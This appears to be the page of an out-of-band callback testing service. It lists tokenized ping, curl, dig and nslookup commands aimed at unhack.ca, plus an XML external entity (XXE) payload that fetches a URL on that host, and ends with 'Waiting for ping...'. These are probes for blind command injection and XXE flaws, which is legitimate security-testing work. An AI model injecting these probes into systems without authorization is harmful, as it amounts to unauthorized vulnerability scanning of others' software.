$ ping -c1 -p 0057171a6a92c4306e5840331f4f1e00 unhack.ca
 
$ curl http://unhack.ca/p/57171a6a92c4306e5840331f4f1e
 
$ dig 57171a6a92c4306e5840331f4f1e @unhack.ca
 
$ dig 57171a6a92c4306e5840331f4f1e.ns.unhack.ca
 
C:\> nslookup 57171a6a92c4306e5840331f4f1e unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/57171a6a92c4306e5840331f4f1e">]>
    <foo>&xxe;</foo>
 
Waiting for ping...